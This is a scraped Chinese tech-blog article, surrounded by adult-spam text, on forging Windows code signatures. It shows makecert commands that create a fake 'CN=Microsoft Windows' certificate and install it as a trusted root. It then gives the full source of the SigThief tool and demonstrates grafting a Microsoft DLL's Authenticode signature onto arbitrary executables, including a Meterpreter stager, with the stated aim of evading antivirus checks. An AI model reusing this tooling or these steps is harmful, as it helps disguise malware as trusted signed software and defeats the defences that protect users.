黄a在线观看-黄a在线-黄a大片-黄色片在线看-黄色毛片免费-黄色大片网站

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

Python使用sigthief簽發(fā)證書(shū)的實(shí)現(xiàn)步驟

瀏覽:159日期:2022-06-16 08:39:45
目錄制作并簽發(fā)證書(shū):偽造PE文件證書(shū):

證書(shū)制作工具下載: https://github.com/3gstudent/signtools

制作并簽發(fā)證書(shū):

正常情況下,針對(duì)exe簽發(fā)證書(shū)有如下幾個(gè)步驟.

1.查詢(xún)一個(gè)程序中存在的證書(shū),可以使用下面三個(gè)命令。

c:> signtools Get-AuthenticodeSignature C:WindowsSystem32ConsentUX.dllc:> signtools signtool.exe verify /v C:WindowsSystem32ConsentUX.dllc:> signtools sigcheck.exe -q C:WindowsSystem32ConsentUX.dll

2.使用makecert命令制作證書(shū),sv-私鑰文件名,ss-主題的證書(shū)存儲(chǔ)名稱(chēng),n-證書(shū)頒發(fā)對(duì)象,r-證書(shū)存儲(chǔ)位置。

c:> signtools makecert -n 'CN=Microsoft Windows' -r -sv Root.pvk Root.cerc:> signtools cert2spc Root.cer Root.spcc:> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注冊(cè)證書(shū)與簽發(fā)證書(shū)。

c:> signtools certmgr.exe -add -c Root.cer -s -r localmachine rootc:> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要給PowerShell腳本添加證書(shū),則執(zhí)行如下命令即可.

1.生成證書(shū)文件

c:> makecert -n 'CN=Microsoft Windows' -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cerc:> cert2spc certtest.cer certtest.spcc:> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.給powershell腳本簽名

c:> powershellc:> $cert = Get-PfxCertificate certtest.pfxc:> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert偽造PE文件證書(shū):

有些反病毒軟件供應(yīng)商優(yōu)先考慮某些證書(shū)頒發(fā)機(jī)構(gòu)而不檢查簽名是否真正有效,并且有一些只是檢查以查看certTable是否填充了某些值。這個(gè)工具讓你快速將從已簽名的PE文件中刪除簽名并將其附加到另一個(gè)文件,修復(fù)證書(shū)表以對(duì)文件進(jìn)行簽名。

開(kāi)源工具SigThief可用于偽造證書(shū),將下方代碼保存為sigthief.py即可:

import sysimport structimport shutilimport iofrom optparse import OptionParserdef gather_file_info_win(binary):'''Borrowed from BDF...I could just skip to certLOC... *shrug*'''flItms = {}binary = open(binary, ’rb’)binary.seek(int(’3C’, 16))flItms[’buffer’] = 0flItms[’JMPtoCodeAddress’] = 0flItms[’dis_frm_pehdrs_sectble’] = 248flItms[’pe_header_location’] = struct.unpack(’<i’, binary.read(4))[0]# Start of COFFflItms[’COFF_Start’] = flItms[’pe_header_location’] + 4binary.seek(flItms[’COFF_Start’])flItms[’MachineType’] = struct.unpack(’<H’, binary.read(2))[0]binary.seek(flItms[’COFF_Start’] + 2, 0)flItms[’NumberOfSections’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’TimeDateStamp’] = struct.unpack(’<I’, binary.read(4))[0]binary.seek(flItms[’COFF_Start’] + 16, 0)flItms[’SizeOfOptionalHeader’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’Characteristics’] = struct.unpack(’<H’, binary.read(2))[0]#End of COFFflItms[’OptionalHeader_start’] = flItms[’COFF_Start’] + 20#if flItms[’SizeOfOptionalHeader’]: #Begin Standard Fields section of Optional Headerbinary.seek(flItms[’OptionalHeader_start’])flItms[’Magic’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorLinkerVersion’] = struct.unpack('!B', binary.read(1))[0]flItms[’MinorLinkerVersion’] = struct.unpack('!B', binary.read(1))[0]flItms[’SizeOfCode’] = struct.unpack('<I', binary.read(4))[0]flItms[’SizeOfInitializedData’] = struct.unpack('<I', binary.read(4))[0]flItms[’SizeOfUninitializedData’] = struct.unpack('<I', binary.read(4))[0]flItms[’AddressOfEntryPoint’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’PatchLocation’] = flItms[’AddressOfEntryPoint’]flItms[’BaseOfCode’] = struct.unpack(’<I’, binary.read(4))[0]if flItms[’Magic’] != 0x20B: flItms[’BaseOfData’] = struct.unpack(’<I’, binary.read(4))[0]# End Standard Fields section of Optional Header# Begin Windows-Specific Fields of Optional Headerif flItms[’Magic’] == 0x20B: flItms[’ImageBase’] = struct.unpack(’<Q’, binary.read(8))[0]else: flItms[’ImageBase’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SectionAlignment’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’FileAlignment’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’MajorOperatingSystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorOperatingSystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorImageVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorImageVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MajorSubsystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’MinorSubsystemVersion’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’Win32VersionValue’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SizeOfImageLoc’] = binary.tell()flItms[’SizeOfImage’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’SizeOfHeaders’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’CheckSum’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’Subsystem’] = struct.unpack(’<H’, binary.read(2))[0]flItms[’DllCharacteristics’] = struct.unpack(’<H’, binary.read(2))[0]if flItms[’Magic’] == 0x20B: flItms[’SizeOfStackReserve’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfStackCommit’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfHeapReserve’] = struct.unpack(’<Q’, binary.read(8))[0] flItms[’SizeOfHeapCommit’] = struct.unpack(’<Q’, binary.read(8))[0]else: flItms[’SizeOfStackReserve’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfStackCommit’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfHeapReserve’] = struct.unpack(’<I’, binary.read(4))[0] flItms[’SizeOfHeapCommit’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’LoaderFlags’] = struct.unpack(’<I’, binary.read(4))[0] # zeroflItms[’NumberofRvaAndSizes’] = struct.unpack(’<I’, binary.read(4))[0]# End Windows-Specific Fields of Optional Header# Begin Data Directories of Optional HeaderflItms[’ExportTableRVA’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ExportTableSize’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ImportTableLOCInPEOptHdrs’] = binary.tell()#ImportTable SIZE|LOCflItms[’ImportTableRVA’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ImportTableSize’] = struct.unpack(’<I’, binary.read(4))[0]flItms[’ResourceTable’] = struct.unpack(’<Q’, binary.read(8))[0]flItms[’ExceptionTable’] = struct.unpack(’<Q’, binary.read(8))[0]flItms[’CertTableLOC’] = binary.tell()flItms[’CertLOC’] = struct.unpack('<I', binary.read(4))[0]flItms[’CertSize’] = struct.unpack('<I', binary.read(4))[0]binary.close()return flItmsdef copyCert(exe): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Input file Not signed!')sys.exit(-1) with open(exe, ’rb’) as f:f.seek(flItms[’CertLOC’], 0)cert = f.read(flItms[’CertSize’]) return certdef writeCert(cert, exe, output): flItms = gather_file_info_win(exe)if not output: output = output = str(exe) + '_signed' shutil.copy2(exe, output)print('Output file: {0}'.format(output)) with open(exe, ’rb’) as g:with open(output, ’wb’) as f: f.write(g.read()) f.seek(0) f.seek(flItms[’CertTableLOC’], 0) f.write(struct.pack('<I', len(open(exe, ’rb’).read()))) f.write(struct.pack('<I', len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print('Signature appended. nFIN.')def outputCert(exe, output): cert = copyCert(exe) if not output:output = str(exe) + '_sig' print('Output file: {0}'.format(output)) open(output, ’wb’).write(cert) print('Signature ripped. nFIN.')def check_sig(exe): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Inputfile Not signed!') else:print('Inputfile is signed!')def truncate(exe, output): flItms = gather_file_info_win(exe) if flItms[’CertLOC’] == 0 or flItms[’CertSize’] == 0:# not signedprint('Inputfile Not signed!')sys.exit(-1) else:print( 'Inputfile is signed!') if not output:output = str(exe) + '_nosig' print('Output file: {0}'.format(output)) shutil.copy2(exe, output) with open(output, 'r+b') as binary:print(’Overwriting certificate table pointer and truncating binary’)binary.seek(-flItms[’CertSize’], io.SEEK_END)binary.truncate()binary.seek(flItms[’CertTableLOC’], 0)binary.write(b'x00x00x00x00x00x00x00x00') print('Signature removed. nFIN.')def signfile(exe, sigfile, output): flItms = gather_file_info_win(exe)cert = open(sigfile, ’rb’).read() if not output: output = output = str(exe) + '_signed' shutil.copy2(exe, output)print('Output file: {0}'.format(output))with open(exe, ’rb’) as g:with open(output, ’wb’) as f: f.write(g.read()) f.seek(0) f.seek(flItms[’CertTableLOC’], 0) f.write(struct.pack('<I', len(open(exe, ’rb’).read()))) f.write(struct.pack('<I', len(cert))) f.seek(0, io.SEEK_END) f.write(cert) print('Signature appended. nFIN.')if __name__ == '__main__': usage = ’usage: %prog [options]’ parser = OptionParser() parser.add_option('-i', '--file', dest='inputfile', help='input file', metavar='FILE') parser.add_option(’-r’, ’--rip’, dest=’ripsig’, action=’store_true’, help=’rip signature off inputfile’) parser.add_option(’-a’, ’--add’, dest=’addsig’, action=’store_true’, help=’add signautre to targetfile’) parser.add_option(’-o’, ’--output’, dest=’outputfile’, help=’output file’) parser.add_option(’-s’, ’--sig’, dest=’sigfile’, help=’binary signature from disk’) parser.add_option(’-t’, ’--target’, dest=’targetfile’, help=’file to append signature to’) parser.add_option(’-c’, ’--checksig’, dest=’checksig’, action=’store_true’, help=’file to check if signed; does not verify signature’) parser.add_option(’-T’, ’--truncate’, dest='truncate', action=’store_true’, help=’truncate signature (i.e. remove sig)’) (options, args) = parser.parse_args()# rip signature # inputfile and rip to outputfile if options.inputfile and options.ripsig:print('Ripping signature to file!')outputCert(options.inputfile, options.outputfile)sys.exit()# copy from one to another # inputfile and rip to targetfile to outputfileif options.inputfile and options.targetfile:cert = copyCert(options.inputfile)writeCert(cert, options.targetfile, options.outputfile)sys.exit() # check signature # inputfile if options.inputfile and options.checksig:check_sig(options.inputfile) sys.exit() # add sig to target file if options.targetfile and options.sigfile:signfile(options.targetfile, options.sigfile, options.outputfile)sys.exit() # truncate if options.inputfile and options.truncate:truncate(options.inputfile, options.outputfile)sys.exit() parser.print_help() parser.error('You must do something!')

我們需要找一個(gè)帶有證書(shū)的文件,然后通過(guò)使用sigthief.py完成證書(shū)的克隆。此處就拿系統(tǒng)中的ConsentUX.dll演示。

c:> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exeOutput file: check.exeSignature appended.FIN.

也可以從二進(jìn)制文件中獲取簽名并將其添加到另一個(gè)二進(jìn)制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe Output file: /tmp/msftesting_tcpview.exeSignature appended. FIN.

將簽名保存到磁盤(pán)以供以后使用,提供了一個(gè)轉(zhuǎn)存功能。

$ ./sigthief.py -i tcpview.exe -r Ripping signature to file!Output file: tcpview.exe_sigSignature ripped. FIN.```BASH使用翻錄簽名```BASH$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe Output file: x86_meterpreter_stager.exe_signedSignature appended. FIN.```BASH截?cái)啵▌h除)簽名 這實(shí)際上有非常有趣的結(jié)果,可以幫助您找到重視代碼功能簽名的AV)```BASH$ ./sigthief.py -i tcpview.exe -T Inputfile is signed!Output file: tcpview.exe_nosigOverwriting certificate table pointer and truncating binarySignature removed. FIN.

文章出處:https://www.cnblogs.com/lyshark

以上就是Python使用sigthief簽發(fā)證書(shū)的實(shí)現(xiàn)步驟的詳細(xì)內(nèi)容,更多關(guān)于Python使用sigthief簽發(fā)證書(shū)的資料請(qǐng)關(guān)注好吧啦網(wǎng)其它相關(guān)文章!

標(biāo)簽: Python 編程
相關(guān)文章:
主站蜘蛛池模板: 一区二区在线免费 | 91女人18毛片水多国产 | 亚洲精品动漫成人3d无尽在线 | 一本色道久久亚洲综合精品蜜桃 | 日韩三级一区 | 国产精品久久国产三级国不卡顿 | 国产婷婷综合在线视频 | 日本伊人色综合网 | 日韩国产成人无码av毛片 | 成人免费直播 | 国语对白做受69按摩 | 亚洲欧洲日韩av | 性涩av| 妺妺窝人体色www看人体 | 亚洲精品久久久久久一区二区 | 日韩欧美一区二区三区黑寡妇 | 久久亚洲精品成人无码网站 | 国产成人精品国内自产拍免费看 | 免费性网站 | 国产尤物视频在线观看 | 亚洲永久精品ww.7491进入 | 国产在线精品一区二区三区 | 婷婷色中文字幕综合在线 | 少妇光屁股影院 | aaaaa爽爽爽久久久 | 毛片毛片毛片毛片毛片毛片毛片毛片毛片毛片 | 激情文学亚洲 | 99久久综合狠狠综合久久 | 国内偷拍第一页 | 伊人狠狠色丁香婷婷综合 | 伊人久久伊人 | 精品国产一区二区三区无码 | 欧美精品第一页 | 人妻无码中文久久久久专区 | 日韩一级在线观看视频 | 久久精品国产精品亚洲 | 中文字幕欧美久久日高清 | 国产精品爽爽久久 | 精品国产乱码久久久久久婷婷 | 国产精品成人亚洲一区二区 | 四虎国产精品成人免费4hu | 熟女少妇内射日韩亚洲 | 国产精品久久久久久久久免费看 | 丰满少妇又爽又紧又丰满在线观看 | 韩国19禁无遮挡啪啪无码网站 | 国产成人精品亚洲午夜麻豆 | 三级网站在线播放 | 亚洲国产精品无卡做爰天天 | 黄色.com | 久久久久人妻精品一区三寸蜜桃 | 亚洲色图在线视频 | 日本激情网址 | 全国男人的天堂网 | 欧性猛交ⅹxxx乱大交 | 狠狠躁18三区二区一区 | 亚洲中文字幕在线观看 | 日韩另类在线 | www国产在线| 都市激情久久 | 68精品久久久久久欧美 | 久久久五月 | 成人精品影视 | 国产在线激情视频 | 久久久高清 | 黄色av地址| 四虎成人精品无码永久在线 | 国产精品久久久久久一区二区 | 国产精品毛片久久久久久久 | 制服丝袜国产在线 | 手机免费av在线 | 自拍啪啪 | 欧美精品啪啪 | 波多野结衣先锋影音 | 成 人片 黄 色 大 片 | 久久这里只有精品6 | 午夜时刻免费入口 | 少妇人妻大乳在线视频 | 国产精品资源 | 中文字幕精品久久久久 | 美女av在线播放 | 国产干b| 国内精品久久久久久 | 老外一级黄色片 | 蜜臀久久精品久久久久久酒店 | 爱爱爱免费视频 | 亚洲黄色短视频 | 亚洲精品午夜无码专区 | 欧美不卡一区二区 | 亚洲精品午夜久久久久久久 | 日日摸日日添日日碰9学生露脸 | 销魂美女一区二区 | 亚洲国产精品成人天堂 | 国产手机在线精品 | 欧美成人看片黄a免费看 | 丁香美女社区 | 无码国内精品久久人妻 | 亚洲另类无码专区首页 | 久在操| 波多野结衣一区二区三区在线观看 | 九九视频精品在线 | 日本一区视频在线 | 杨幂毛片 | 中国挤奶哺乳午夜片 | 欧美日韩不卡合集视频 | 国产成人无码免费视频在线 | 欧美高清hd18日本 | 在线观看黄色av网站 | 最近中文字幕在线中文视频 | 成人网免费视频 | 大尺度做爰呻吟舌吻网站 | 九九精品视频免费 | 亚洲熟妇无码一区二区三区导航 | 天天夜碰日日摸日日澡性色av | 国产又色又爽无遮挡免费 | 亚洲国产精久久久久久久 | 亚洲精品视频一二三区 | 无码国产精品一区二区免费式影视 | www色日本| 国产精品国产成人国产三级 | 成年人三级视频 | 国产精品岛国久久久久 | 久久婷婷综合色丁香五月 | 欧美二区在线 | 色欲av永久无码精品无码 | 亚洲综合伊人久久大杳蕉 | 男人天堂中文字幕 | 日韩久久免费视频 | 三级毛片av | 久草视频福利在线 | 国产福利第一视频 | 强行处破女系列中文字幕 | 亚洲桃色视频 | 精品一区二区三区无码免费视频 | 日本免费一区二区三区 | 青青草狠狠干 | 中文在线中文资源 | 久热这里只有精品视频6 | 免费看成年人视频 | 国产在线精品一区二区 | av不卡国产在线观看 | 国产精品爽爽久久久久久 | 成人午夜免费福利 | 成人国产精品久久久 | 97成人精品区在线播放 | 亚洲乱码国产乱码精品精软件 | 亚洲男人天堂久久 | 国产呻吟久久久久久久92 | av三级在线观看 | 日日夜夜欧美 | 狠狠色丁香婷婷 | 久久99久久精品 | 欧美午夜理伦三级在线观看 | 国产特级毛片aaaaaa毛片 | 日韩精品视频在线看 | 超碰123| 国产精品视频播放 | 曰本女人与公拘交酡免费视频 | 日日噜夜夜噜 | 欧美日韩视频在线观看免费 | 欧美黄色一级片视频 | 久久久精品视频在线观看 | 屁屁影院ccyy备用地址 | www啪啪com| 亚洲色图首页 | 中出内射颜射骚妇 | 久久成年视频 | 黄色网页免费观看 | 五月婷婷在线视频观看 | 日本人妻人人人澡人人爽 | 91资源新版在线天堂成人 | 99久久国| 国产xxx6乱为| 日本我不卡| 国产又黄又硬又湿又黄的播出时间 | 日本国产乱弄免费视频 | 深爱激情丁香 | 无码一区二区三区av免费 | 538任你躁精品视频网免费 | 丁香六月婷婷激情 | 手机在线播放av | 欧美午夜激情影院 | 国产精品一区二区三区久久 | wwwav免费| 天堂一码二码专区 | 国产美女福利在线 | 欧美日韩国产精品自在自线 | 日产国产欧美视频一区精品 | 巴西少妇xxb大毛又多 | 日产精品久久久一区二区福利 | 在线天堂最新版资源 | 91国内揄拍国内精品对白 | 熟妇人妻无码xxx视频 | 手机av在线 | 午夜精品久久久久久久四虎 | 1688成人免费视频观看 | 天堂а在线中文在线新版 | 国产精品久久久一区二区三区 | 亚洲精品乱码久久久久久自慰 | 久久亚洲经典 | 精品久久久久国产免费第一页 | 中文字幕日韩精品亚洲一区 | 国产成人av一区二区三区在线观看 | 欧美色欧美亚洲另类七区 | 久久女同互慰一区二区三区 | 激烈的性高湖波多野结衣 | 免费一区二区 | 日日噜狠狠噜天天噜av | 亚洲成a人片在线播放 | 国产女爽123视频.cno | 国产精品区一区二 | 久久av无码精品人妻系列 | 日本黄色片网址 | 性做爰裸体按摩视频 | 茄子成人看a∨片免费软件 茄子视频色 | 欧美激情猛片xxxⅹ大3 | 成人乱人乱一区二区三区 | 黑人狂躁中国少妇and | 99日在线视频 | 东方影院av久久久久久 | av在线免费观看不卡 | 2222eeee成人天堂 | 九九五月天 | 97国产精东麻豆人妻电影 | 一本久久综合亚洲鲁鲁五月天 | 婷婷综合久久 | 国产一区免费在线 | 欧美一性一乱一交一视频 | 亚洲欧美高清一区二区三区 | 啪啪网页| 国产成人精品视频在线 | 久久久剧场 | 男女激情麻豆入口 | 免费一级片网址 | 99热只有这里有精品 | 天天干伊人 | 学生调教贱奴丨vk | 秋霞成人 | 成人黄色激情 | 一级黄色片在线观看 | 97色资源| 国产av人人夜夜澡人人爽麻豆 | 国产一区二区三区精品在线观看 | 亚洲日本韩国 | 国产浮力第一页 | 性猛交xxxxx按摩中国 | 免费黄色三级 | 我撕开了少妇的蕾丝内裤视频 | 欧美日韩一区二区久久 | 久久国产成人精品国产成人亚洲 | 欧美疯狂xxxxxbbbbb | 欧美激情自拍 | 中文字幕第一页在线视频 | 精品视频一区二区三区四区五区 | 欧美成人精品一区二区 | 亚洲国产精品久久艾草 | 日韩av高清在线播放 | 国模小黎自慰gogo人体 | 国产熟妇久久777777 | 久久国产成人 | 国产黄色片网站 | 国产成人一区二区三区在线观看 | 狠狠色丁香婷婷综合 | 亚洲国产精品一区第二页 | 偷拍视频久久 | 天天色综合av | 久久国产精品久久久久久电车 | 日本一区二区高清不卡 | 精品久久蜜桃 | 中文字幕在线观看免费视频 | 中文字幕+乱码+中文字幕一区 | 情侣做性视频在线播放 | 国产精品毛片久久久久久久 | 日韩不卡手机视频在线观看 | 中国极品少妇videossexhd 中国极品少妇xxxxx小艳 | a在线视频v视频 | www成人在线观看 | 美女三级视频 | 日本一级xxxx| 69视频在线免费观看 | 深夜视频在线免费 | 天天躁日日躁很很很躁 | 三区在线 | 日本三级吃奶乳视频在线播放 | 国偷自产av一区二区三区麻豆 | 一级特黄av | 亚洲精选在线观看 | 国产在线 | 中文 | 一级片99| 91亚洲国产成人久久精品网站 | 香港黄色网 | 特大巨黑吊xxxx高潮 | 色综合视频一区二区三区 | 国内少妇偷人精品视频 | 午夜成午夜成年片在线观看 | 亚洲成人免费在线 | 91豆花精品一区 | 91插插影院| 中文字幕在线一区 | 日少妇av | 欧美激情视频一区二区 | 国产精品美女久久久av超清 | 顶臀精品视频www | 欧美日韩在线观看视频 | 久久蜜桃精品一区二区三区综合网 | 人人妻人人澡人人爽人人精品av | 麻豆国产人妻欲求不满 | 国产成人在线看 | 精品国产乱码久久久久久竹菊影视 | 少妇午夜三级伦理影院播放器 | www一区二区www免费 | 国产成人啪精品午夜网站 | 手机av在线 | 亚洲免费视频一区二区 | 久久久久久久久久久久久久 | 国产69精品久久久久毛片 | 自拍av在线 | 日韩黄色一级片 | 欧美一级黄色片免费看 | av男人的天堂网 | 亚洲福利视频网站 | 国产高清一区在线观看 | 激情区| 女同啪啪免费网站www | 女人两腿打开让男人添野外视频 | 国产伦理五月av一区二区 | 亚洲欧美激情另类 | av片免费观看 | 国产免费不卡视频 | 淫品色影院 | 国产精品99久久久久久猫咪 | 久久婷婷成人综合色 | 日本在线一区二区 | 岛国精品一区 | 人妻少妇被粗大爽.9797pw | 欧美九九九 | 人人干夜夜操 | 乳孔很大能进去的av番号 | 麻豆视频一区二区 | 天天综合中文字幕 | 一个色综合亚洲色综合 | 亚洲成av人片一区二区密柚 | 2021狠狠操| 国产精品久久二区 | 国产精品三p一区二区 | 国产精品免费视频一区二区 | 国产欧美久久久久 | 中国xxxxx性按摩店 | 韩日av网站 | 大明星(双性产乳) h | 国产欧美一区二区三区在线看 | 国产色视频一区二区三区qq号 | 日韩av男人的天堂 | 国产精品久久久区三区天天噜 | 亚洲小说在线 | 成人免费激情视频 | 亚洲精华国产精华精华液网站 | 亚洲精品综合在线观看 | 亚洲影视一区 | 亚洲精品88欧美一区二区 | 欧美一卡二卡三卡 | 亚洲视频99 | 在线不卡视频 | 清草视频 | 69久久夜色精品国产69蝌蚪网 | 色版视频在线观看 | 中文字幕久精品免费视频 | 精产国品一二三产品蜜桃 | av第一页| 就要爱爱tv | 免费观看av网址 | 亚洲色大网站www永久网站 | 国产对白乱刺激福利视频 | 国产一区二区三区精品在线观看 | 中文在线a在线 | 久久精品国产大片免费观看 | 国产情侣小视频 | 欧美人与性动交α欧美片 | 国产乱子伦精品无码专区 | 国产精品亚洲日韩欧美色窝窝色欲 | 性色av网站 | 欧美日韩一二三四 | 日本成人午夜视频 | 牲欲强的熟妇农村老妇女视频 | 国产精品久久久久久久久久久久人四虎 | 一色屋精品久久久久久久久久 | 亚洲啪av永久无码精品放毛片 | 精品毛片一区二区三区 | 久久精品无码免费不卡 | 比色毛片 | 久久久免费看 | blacked精品一区国产在线观看 | 三级黄色av | 青青青青操 | 在线观看波多野结衣 | 日日摸天天摸爽爽狠狠97 | 91精品国产综合久久精品图片 | 国产精品成人免费一区二区视频 | 日韩成人在线观看视频 | 日本xxxxl码在中国是几码 | 欧美日韩高清在线观看 | xx视频在线观看 | 男女无遮挡做爰猛烈视频 | 丰满少妇xoxoxo视频 | 毛片h| 九九热久久久99国产盗摄蜜臀 | 国产高清在线不卡 | 欧美性开放视频 | 亚色在线观看 | 久久超碰97人人做人人爱 | 少妇夜夜爽夜夜春夜夜高潮 | 国产中文字幕91 | 午夜精品久久久久久久久 | 欧美精品日韩 | 欧美xxxxx精品 | 黄av在线| 自拍偷在线精品自拍偷无码专区 | 亲子乱一区二区三区 | 亚洲欧美国产精品专区久久 | 精品亚洲一区二区三区在线播放 | 国产精品久久久久久久久毛片 | 特a级黄色片 | 乌克兰丰满少妇毛片 | 尤果网福利视频在线观看 | 狠狠躁夜夜躁xxxxaaaa | 色视频在线播放 | 国模大尺度啪啪 | 折磨小男生性器羞耻的故事 | 一区二区三区欧美精品 | 亚洲精品无码午夜福利中文字幕 | 中日韩中文字幕区 | 荡女乱翁床第高h | 亚洲 精品 主播 自拍 | 深夜视频在线看 | 妓女爽爽爽爽爽妓女8888 | 色妞av永久一区二区国产av开 | 久久免费的精品国产v∧ | 麻豆网| 最近中文字幕在线中文高清版 | 成人免费视频7778 | 国产一区二区视频播放 | 国产又粗又猛又爽又黄的视频软件 | 2018国产精华国产精品 | 另类天堂网不卡另类系列 | av午夜激情 | 美女极度色诱图片www视频 | 波多野结衣在线播放 | 精区一品二品星空传媒 | 中文成人无字幕乱码精品区 | 丝袜理论片在线观看 | 日韩精品乱码久久久久久 | 国产精品丝袜久久久久久不卡 | 亚洲成a人片在线观看天堂无码 | 翘臀后进少妇大白嫩屁股视频 | 久久99精品久久久秒播 | 懂色av中文一区二区三区天美 | 少妇裸体淫交视频免费观看 | 中文字幕超清在线免费 | 免费成人在线网站 | 精品无码av一区二区三区不卡 | xoxo国产三区精品欧美 | 少妇与公做了夜伦理69 | 久色福利 | 中文字幕在线不卡 | 国产精品一区二区三区久久 | 亚洲日韩精品一区二区三区 | 艳妇乳肉豪妇荡乳av无码福利 | 91大神小宝寻花在线观看 | 一级黄色大片免费观看 | 日韩在线视频观看免费网站 | 精品久久久久久亚洲精品 | 亚洲私拍 | 男人用嘴添女人下身免费视频 | 在线观看香蕉视频 | 男女激情麻豆入口 | 嫩草导航| 国产特级毛片aaaaaaa高清 | 美日韩免费视频 | 222aaa免费国产在线观看 | 超碰在线中文字幕 | 国产精品久久久久久免费 | 伊人久久大 | 国产精品无码av不卡 | 另类激情文学 | 国产无在线观看软件 | 91干干| 日韩免费看片 | 激情 欧美 偷拍 | 亚洲精品97久久中文字幕无码 | 韩国r级大尺度激情做爰外出 | 高清国产亚洲精品自在久久 | 精品亚洲成a人在线观看 | 久久男人的天堂 | 国产乱配视频免费观看 | 97视频资源 | 日本不卡免费新一二三区 | 99re6在线 | 婷婷com| 色翁荡熄又大又硬又粗又视频图片 | 少妇被粗大猛进进出出 | 亚洲一本之道高清乱码 | 性生活视频网站 | 裸体歌舞表演一区二区 | 亚洲国产日韩一区 | 欧美日韩性生活视频 | 国产精品三 | 在线观看v片 | 四虎永久在线精品免费一区二区 | 国产一级片中文字幕 | 国产人成看黄久久久久久久久 | 国产成人在线免费 | 性色av无码不卡中文字幕 | 激情六月婷 | 一二三区毛片 | 亚洲欧美在线免费观看 | 亚洲精品国产精品乱码视色 | 国产精品久久国产精品 | 日本黄网站色大片免费观看 | 欧美日本一本 | 亚洲的天堂av无码 | 日韩在线视频精品 | 91久久北条麻妃一区二区三区 | 欧美巨鞭大战丰满少妇 | 免费999精品国产自在现线 | 久久精品一二三区白丝高潮 | 爽啪啪gif动态图第136期 | 亚洲乳大丰满中文字幕 | 欧美精品一区二区在线播放 | 亚洲国产剧情 | 99国产精品久久久久久久成人 | 人人妻人人藻人人爽欧美一区 | 国产精品国产三级国产普通话对白 | 日韩精品一区二区三区 | ass少妇pics粉嫩bbw1| 精品视频一二区 | 3d成人动漫在线观看 | 精品人妻无码区在线视频 | 特级全黄久久久久久久久 | 免费看黄色一级大片 | 99er6免费热在线观看精品 | 五月婷婷丁香花 | 51国偷自产一区二区三区的来源 | 亚洲美女性视频 | 国产无吗一区二区三区在线欢 | 视频一区二区三区在线 | 鲜嫩高中生无套进入 | 欧美日韩99 | 蜜桃色999 | www国产亚洲精品 | 亚洲综合黄色 | 欧美一区成人 | 成年人av网站 | 99爱精品视频 | 日韩在线视频网址 | 51久久成人国产精品 | 狠狠干狠狠干 | 国产xxxx做受性欧美88 | 免费观看黄色片网站 | 免费看中国毛片 | 亚洲在线免费 | 中文一二区 | 久久大| 超碰97观看 | 青青网站 | 91porn在线| 亚洲天堂中文字幕在线观看 | 欧美午夜精品久久久久久蜜 | 波多野吉衣久久 | 欧美成人免费一区二区三区视频 | 成人污网站 | jizz性欧美15 | 香蕉久久av一区二区三区 | 久久免费视频3 | 老司机午夜免费福利 | 极品白嫩的小少妇 | 极品粉嫩国产18尤物 | 真实国产精品视频400部 | 99久热 | 国产传媒一区二区 | 五月婷香蕉久色在线看 | 久久香蕉国产精品麻豆粉嫩av | 91av福利视频| 亚洲欧美在线看 | 美女黄色片网站 | 久久99精品久久久久久噜噜 | 91桃色网站 | 波多野结衣导航 | 色综合久久久久 | 永久免费在线观看av | 久久久久久久久久国产精品 | 涩五月婷婷 | 插嫩嫩学生妹p | 国产裸体丰满白嫩大尺度尤物可乐 | 乱码丰满人妻一二三区 | 国产性网 | 亚洲无套 | 成人无码www在线看免费 | 香蕉久久一区二区不卡无毒影院 | 999国产精品999久久久久久 | 日韩精品久久久久久免费 | 日韩国产在线 | 国产99re| 亚洲va中文字幕无码久久不卡 | 日本黄色aaa| 国产精品白浆一区二小说 | 西野翔夫の目の前で犯在线 | 国产精品新婚之夜泄露女同 | 成人一级片视频 | 熟女俱乐部五十路六十路av | 在线视频一二区 | 爽插| 114一级片 | 国产乱人偷精品视频 | 日本一区午夜艳熟免费 | 日日夜夜网 | 精产国品一二三产品蜜桃 |